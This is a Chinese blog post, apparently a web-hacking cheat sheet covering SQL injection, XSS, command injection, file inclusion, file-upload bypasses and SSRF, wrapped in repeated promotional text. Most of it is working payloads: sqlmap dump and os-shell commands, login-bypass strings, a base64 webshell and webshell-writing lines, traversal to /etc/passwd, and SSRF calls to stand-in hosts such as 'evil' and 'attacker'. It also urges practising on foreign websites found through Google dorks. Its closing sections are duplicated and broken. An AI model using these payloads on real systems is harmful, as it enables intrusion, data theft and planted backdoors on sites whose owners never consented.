admin管理员组

文章数量:1547218

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。





既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)

正文

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

还可以直接–os–shell来获取shell

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --os--shell

字符型

select * from tables where username = 'darkid';

多见于后台登录框或者搜索框
直接用burp测试即可

或者保存这个包,用sqlmap跑,之后测试就和上面一样了

sqlmap -r '1.txt' --technique E --dbs

搜索型

多见于搜索框

select * from tables where id like '%darkid%';

判断是否存在漏洞

'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='

平常很少见,如果遇到了可以用sqlmap跑

万能密码

后台登录时可以直接测试万能密码

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

GoogleHack语法搜索

中国inurl:.php id


直接练习即可,这里推荐去渗透国外的网站

inurl:.php?id

总结

sql注入很常见,现在一般都是盲注了,用sqlmap跑也可以,一些关于sql注入的文章

https://book.hacktricks.xyz/pentesting-web/sql-injection
https://blog.csdn/haoge1998/article/details/124197807

之后会写关于如何绕过waf的文章,sql注入的利用方法也有很多,时间注入,布尔注入,base64注入之类的,也可以去学习相关的知识
学会自己去搜集知识学习,然后归纳成自己的
每天学着碎片化的东西,不总结成自己的 = 白学

XSS

xss漏洞现在也挺常见的,某些大企业的网站也有xss漏洞,下面会举例的,xss漏洞的原理是攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的

XSS漏洞也分为了三种

反射型xss

反射型的xss很多漏洞平台都不会收,反射型xss经过后端服务处理,但不存储数据库中
反射型xss多见于搜索框里,利用原理如下

<p></p>

然后搜索,之后后端就会执行这个Script 代码

<p><script>alert(1)</script></p>

然后就会弹出来一个提示框

用处不是很大,也很常见,所以很多漏洞平台都不会收

存储型xss

存储型xss会经过后端服务处理,并且数据存储在数据库端,这种xss多见于用户资料,文件上传,论坛、博客、留言板、网站的留言、评论、日志等交互处
存储型ⅩSS攻击的流程如下

1.用户提交了一条包含XSS代码的留言到数据库
2.当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
3.浏览器发现有XSS代码,就当做正常的HTML和JS解析执行

抖音修改个人资料造成存储型xss

https://aidilarf.medium/stored-xss-at-https-www-tiktok-com-11fed6db0590

推特修改地图造成存储型xss

https://hamzadzworm.medium/how-i-got-a-bug-that-leads-to-takeover-accounts-of-any-user-who-view-my-profile-913c8704f6cd

利用方法很多,可以多去看看xss漏洞提交成功的文章,基本都是存储型xss

DOM型xss

DOM型xss不经过后端服务处理,并且不存储数据库里,在应用程序里包含一些 JavaScript 脚本时出现,这些 JavaScript 以不安全的方式处理来自不受信任来源的数据,通常是将数据写回 DOM。
在以下示例中,应用程序使用一些 JavaScript 从输入字段读取值并将该值写入 HTML 中的元素:

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

如果攻击者可以控制输入字段的值,他们可以轻松构造一个恶意值,导致他们自己的脚本执行:

You searched for: <img src=1 onerror='<script>alert(1)</script>'>

DOM型xss它的利用流程是这样的:

1.攻击者寻找具有漏洞的网站
2.攻击者给用户发了一个带有恶意字符串的链接
3.用户点击了该链接
4.服务器返回HTML文档,但是该文档此时不包含那个恶意字符串
5.客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面
6.客服端执行了植入的恶意脚本,XSS攻击就发生了

反射型XSS与DOM型区别:

1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;
2、DOM型xss攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;非恶意脚本是在其执行本地恶意脚本后,被注入到文档里的

总结

xss漏洞的攻击者通常能够:

冒充或伪装成受害用户。
执行用户能够执行的任何操作。
读取用户能够访问的任何数据。
捕获用户的登录凭据。
将木马功能注入网站。

xss攻击也需要绕过waf,之后也会写
一些关于xss的文章

https://www.freebuf/articles/web/289263.html
https://portswigger/web-security/cross-site-scripting

学会自己去搜集知识学习,然后归纳成自己的
每天学着碎片化的东西,不总结成自己的 = 白学

命令注入

命令注入(也称为 shell 注入)是一种 Web 安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统命令,这个漏洞比较少见,但不代表没有,存在命令注入多半都算是高危漏洞了

一些疑似存在命令注入的参数:

?cmd=
?exec=
?command=
?execute
?ping=
?query=
?jump=
?code=
?reg=
?do=
?func=
?arg=
?option=
?load=
?process=
?step=
?read=
?function=
?req=
?feature=
?exe=
?module=
?payload=
?run=
?print=

测试的命令:

ls||id;
ls|id;
ls&&id;
ls&id;
ls %0A id

不止在url传参界面有这个漏洞,还会在其他的传参界面存在,列如我写的这篇文章
https://blog.csdn/qq_45894840/article/details/127727429?spm=1001.2014.3001.5501

在文件上传界面也有命令注入的漏洞,可以遇到有传参的界面就去测试
如果需要输入空格,可以用以下命令代替空格

${IFS}
+

LFI && RFI

本地文件包含漏洞无论是在挖洞的时候和打ctf比赛的时候都会遇到,当用户可以通过某种方式控制将由服务器加载的文件时,就会出现此漏洞。
易受攻击的PHP 函数:require、require_once、include、include_once
而远程文件包含比较少见,因为在php中这是默认禁用的函数
容易存在文件包含漏洞的参数

?cat=
?dir=
?action=
?board=
?date=
?detail=
?file=
?download=
?path=
?folder=
?prefix=
?include=
?page=
?inc=
?locate=
?show=
?doc=
?site=
?type=
?view=
?content=
?document=
?layout=
?mod=
?conf=

什么是本地文件包含,什么是远程文件包含

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。

本地文件包含http://example/index.php?page=../../../etc/passwd

远程文件包含:http://example/index.php?page=http://baimao/exploit.txt

测试方法

http://example/index.php?page=../../../etc/passwd

编码绕过

http://example/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example/index.php?page=%252e%252e%252fetc%252fpasswd
http://example/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example/index.php?page=....//....//etc/passwd
http://example/index.php?page=..///....//etc/passwd
http://example/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example/index.php?page=/var/www/../../etc/passwd

windows的一些默认路径

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出base64编码后的内容,要获取真实内容的话,需要进行base64解码

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=../sss.php

file

利用file协议执行任意文件读取:

?file=file://C:/windows/win.ini

data

通过data协议可以直接执行命令,利用条件:

php > 5.2
allow_url_fopen=On && allow_url_include=On

paylaod:

http://example/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example/?page=data://text/plain,<?php phpinfo(); ?>
http://example/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example/?page=data:text/plain,<?php phpinfo(); ?>
http://example/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

expect

使用expect协议可以直接执行系统命令

http://example/index.php?page=expect://id
http://example/index.php?page=expect://ls

input

input协议是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交
利用条件:

1. PHP.ini 中 allow_url_include= On
2. php <5.0 ,allow_url_include=Off 也可以

读取目录结构
<?php print_r(scandir("C:\phpStudy\PHPTutorial\WWW"))?> #改成想查看的路径即可

写入木马
GET:<?php fputs(fopen('shell.php','w'),'<?=`{${~"\xa0\xb8\xba\xab"}[1]}`;');?>
POST:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

phar

phar协议数据流包装器自PHP 5.3.0起开始。这个参数是就是php解压缩包的一个函数,不管目标文件后缀是什么,都将其当做压缩包来解压
利用条件:

PHP>= 5.3.0

payload

?file=phar://压缩包/内部文件

zip

zip伪协议和phar协议类似,但是用法不一样
利用条件:

5.2.17 =<php <= 7.0.12

payload:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php或zip://xxx.zip#shell.php

日志文件包含

Linux存储路径

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Windows存储路径

D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
C:\WINDOWS\system32\Logfiles
%SystemDrive%\inetpub\logs\LogFiles
C:/Windows/system32/inetsrv/metabase.xml
C:\Windows\System32\inetsrv\config\applicationHost.config

apache/nginx报错日志

利用条件:

需要知道服务器日志的存储路径,且日志文件可读

利用原理:

web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log

正常的php代码已经写入了 error.log,包含即可执行代码

利用文件包含漏洞去包含log文件:

ssh登录日志

利用条件:

需要知道ssh-log的位置,且可读

ssh日志默认位置:

/var/log/auth.log(默认情况下,所有用户都可读)
/var/log/secure

payload:使用终端执行以下命令

ssh '<?php phpinfo();?>'@IP

远程文件包含绕过

问号绕过
?file=http://192.168.91.139/phpinfo.php?

井号绕过
?file=http://192.168.91.139/phpinfo.php#

这里推荐一个方便测试本地文件包含的工具

https://github/kurobeats/fimap

参数:

./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=


fuzz字典

https://github/danielmiessler/SecLists/tree/master/Fuzzing/LFI

文件上传

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

不同的Web服务执行的脚本格式可能会有所不同,那么扩展名也会不同,通常Web服务的脚本类型来决定扩展名
常见的脚本解析扩展名

PHP: 
.php, .php2, .php3, .php4, .php5, .php6,.php7,
.phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml,
.htaccess, .phar, .inc, .hphp,.ctp, .module

在PHP8版本中仅支持: 
.php, .php4, .php5, .phtml, .module, .inc, .hphp

ASP: 
.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd,
.cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, 
.asa, .cer,.shtml

Jsp: 
.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion:
.cfm、.cfml、.cfc、.dbm

Flash: .swf

Perl:
.pl, .cgi

Erlang Yaws Web Server: 
.yaws

绕过文件扩展名检查

1.大小写绕过、更改字母大小写

如 .PHp, .pHP5, .PhAr ...

2.使用以前的扩展

如 file.png.php file.png.php5

  1. 在末尾添加特殊字符(也可以配合Burp进行爆破所有的ascii和Unicode字符)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....

4.尝试添加加倍扩展或者扩展之间添加空字节,等技术来绕过欺骗服务器端扩展解析器的保护。还可以使用以前的扩展来准备更好的Payload。

file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png

5.在之前的检查基础上再增加一层扩展

file.png.jpg.php
file.php%00.png%00.jpg

6.可将执行脚本扩展名放入有效扩展名之前(看服务器配置有没有错误,运气问题,对于利用Apache错误配置很有用)

例如:file.php.png

7.在Windows中使用NTFS备用数据流(ADS) 在这种情况下插入一个冒号符号":"比如服务器禁止带有扩展名的空文件下

例如 file.asax:.jpg
也可以使用::$data 模式也可用于创建非空文件
例如 file.asp::$data

8.尝试打破文件名限制,有效的文件名被切断,恶意的PHP就留下来了。AAA<–SNIP–>AAA.php

# Linux 最大字节为255字节,利用metasploit脚本生成
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4字节 并加入 .png

# 上传文件并检查响应允许的字符数。比方说236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效Payload,前面是232个字节A剩下4个位置
AAA<--SNIP 232 A-->AAA.php.png

关于在Windows中使用NTFS 备用数据流 (ADS)可以参考这篇文章

https://wwwblogs/zUotTe0/p/13455971.html

绕过内容类型、文件头

  1. 更改Content-Type请求头
image/png 、text/plain 、 application/octet-stream 

更多内容类型词表
https://github/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt

  1. 通过在文件开头添加真实图像的字节来绕过文件头检查(混淆_文件_命令)。

在图片的**元数据中引入 shell **:

exiftool -comment="<?php phpinfo(); ?>" nasa.png


最后将nasa.png 重命名为nasa.php ,将其上传到应用程序,Web 服务器会将文件解释为 PHP 脚本,忽略原始 PNG 文件的所有合法数据,并简单地执行我们在文件注释部分中找到的 PHP 负载。

也可以直接在图像中引入有效载荷,用法和上一个一致

echo '<?php system($_REQUEST['cmd']); ?>' >> hh.png

特殊的扩展技巧

在得知中间件的情况下可以尝试利用中间件配置文件的特性尝试图片扩展限制

.htaccess特性

.htaccess仅支持Apache,这个文件通常叫伪静态文件,是apache的配置文件,会涉及到网址脚本格式的解析规则,我们可以通过这个文件实现解析的自定义

<FilesMatch "jpg">//文件匹配到这个文件名
SetHandler application/x-httpd-php//将以php的文件类型格式执行
</FilesMatch>  
 
或者是这个
AddType application/x_httpd_php jpg

先上传.htacces文件后上传hh.jpg的图片马,访问hh.jpg,可以看见文件是以php格式执行

.user.ini特性

.user.ini只能用于Server API为FastCGI模式下,正常情况下apache不运行此模块

auto_prepend_file=hh.jpg  文件前插入
auto_append_file=hh.jpg   文件最后插入

通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。.user.ini局限是php文件可以包含该指定的文件,如果你不访问目标网址php文件那就不能包含图片马,也使用不了,如果访问了目录上的php文件,就能解析图片马,这就是.user.ini的利用方式。
上传配置文件

auto_append_file=2.png


上传图片前,先访问php文件,可以看见没有任何问题

上传图片马

再次访问php文件,成功包含图片马的脚本内容

从文件上传到其他漏洞

通过设置文件名来测试是否有其他漏洞存在的可能性

目录遍历
../../../tmp/lol.png

SQL 注入
sleep(10)-- -.jpg

实现XSS
<svg onload=alert(document.domain)>

命令注入
; sleep 10;

总结

文件上传危害是很大的,一般上传成功之后直接getshell,通过前面的信息收集并测试payload来提高上传的成功率,最后还可以尝试利用文件名来扩大漏洞的范围性。

SSRF

服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

我用一下代码举例:

<?php
if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;

}

?>

通过url这个参数进行传参,可以看见代码没有进行任何过滤,导致了可以利用url进行协议攻击

漏洞验证

  1. 排除法:浏览器F12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx/a.php?url=(地址)的就可能存在SSRF漏洞

  1. 盲打:利用dnslog等平台进行测试,查看是否存在回显
http://dnslog/
http://ceye.io

  1. 抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

一些可能存在SSRF的功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

利用方式

http

主要用于探测内网主机存活、端口开放情况,利用上面编好的SSRF漏洞来测试一下:

  • 探测一下本地是否存在mysql服务器
?url=127.0.0.1:3306


伪造请求探测服务器的其他端口

如果对url后缀有限制则可以用?或者#绕过

?url=127.0.0.1:3306/?
?url=127.0.0.1:3306/#

file

尝试配合 file 协议来获取存在 SSRF 漏洞的本机内网 IP 地址信息,确认当前资产的网段信息

file:///etc/hosts

还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

file:///proc/net/arp
file:///etc/network/interfaces

SFTP

sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息

ssrf.php?url=sftp://evil:11111/

kali监听4444端口等待回显

在存在SSRF处输入Payload

sftp://192.168.3.14:4444


TFTP

普通文件传输协议用于,在 UDP 上工作

ssrf.php?url=tftp://evil:1/TESTUDPPACKET

http://example/ssrf.php?url=tftp://evil:1337/TESTUDPPACKET 
evil:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

LDAP

ldap://或ldaps:// 或ldapi:// 轻量级目录访问协议。它是一种在IP网络上用于管理和访问分布式目录信息服务的应用协议。

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

dict

DICT URL 方案用于引用使用 DICT 协议可用的定义或单词列表,可以用来操作内网Redis等服务,字典协议自带头尾,限制较大,不能转化成GET或者POST的请求

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口

dict://xx.xx.xx.xx:port

Gopher

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

支持换行可以伪造其他的所有协议,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

推荐一个基于利用Gopher协议的工具

https://github/tarunkant/Gopherus

此工具为以下各项服务生成 Gopher协议 有效Payload:

MySQL
PostgreSQL
FastCGI
Redis
Zabbix
Memcache

关于工具用法可以参考这篇文章

https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/

白名单&&黑名单

在前面中我们提到SSRF产生的原因为未对参数中引用的URL进行限制,使得攻击者能够利用这一漏洞将引用的URL指向内网中的其它地址以获得本应该被拒绝外网访问的资源。因此常见的SSRF防御手段为对引用的URL进行限制。常见的限制手段有黑名单和白名单两种。

什么是黑名单&&白名单?

黑名单是指不允许某些地址并在收到黑名单地址作为输入时阻止请求的做法。白名单意味着服务器只允许通过包含预先指定列表中的 URL 的请求,并使所有其他请求失败。

绕过黑名单

由于web应用的需求是需要获取外部资源,大多数SSRF保护机制都是以黑名单的形式出现的。如果面临黑名单,有多种方法欺骗服务器。

重定向

让服务器请求一个你控制的 URL,该 URL 重定向到列入黑名单的地址。例如,你可以在您的 Web 服务器上托管一个包含以下内容的文件:

<?php header("Location: http://127.0.0.1"); ?>

假设此文件托管在http://attacker/redirect.php 。这样,当您向目标服务器发出请求http://attacker/redirect.php时,目标服务器实际上被重定向到http://127.0.0.1 ,一个受限制的内部地址。

更改IP写法

下面是一些常用于绕过黑名单的方式

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR绕过
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# 点号绕过
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# 十进制绕过
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# 八进制绕过
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# 十六进制绕过
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# 还可以混合使用各种编码绕过
# https://www.silisoftware/tools/ipconverter.php

# 畸形而罕见的绕过方式
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS解析到本地主机
localtest.me = 127.0.0.1
customer1.app.localhost.mypany.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.customlookup.www.google.endcustom.sentinel.pentesting.us = Resolves to www.google
http://customer1.app.localhost.mypany.127.0.0.1.nip.io
http://bugbounty.dodwork = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator = 127.0.0.1

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

er1.app.localhost.mypany.127.0.0.1.nip.io
http://bugbounty.dodwork = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator = 127.0.0.1


![](https://i-blog.csdnimg/blog_migrate/954bcdc4b4227b754fbc15da4721a976.png)





还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://i-blog.csdnimg/blog_migrate/e8e8e04f5f05fdeb34634b0b3780bd33.png)








![](https://i-blog.csdnimg/blog_migrate/99d4e30cb19514a36725fd71dd8b3308.png)





![](https://i-blog.csdnimg/blog_migrate/79019216a46e2955b8c154ad933e9c8c.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://i-blog.csdnimg/blog_migrate/9e5c1ca69284d5344a87a1e01fe18208.gif)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://i-blog.csdnimg/blog_migrate/b84394276be4f7fcf4d176fa628748ac.png)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-ZlA9vZaP-1713432781586)]

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

本文标签: 漏洞网络安全基础大全文章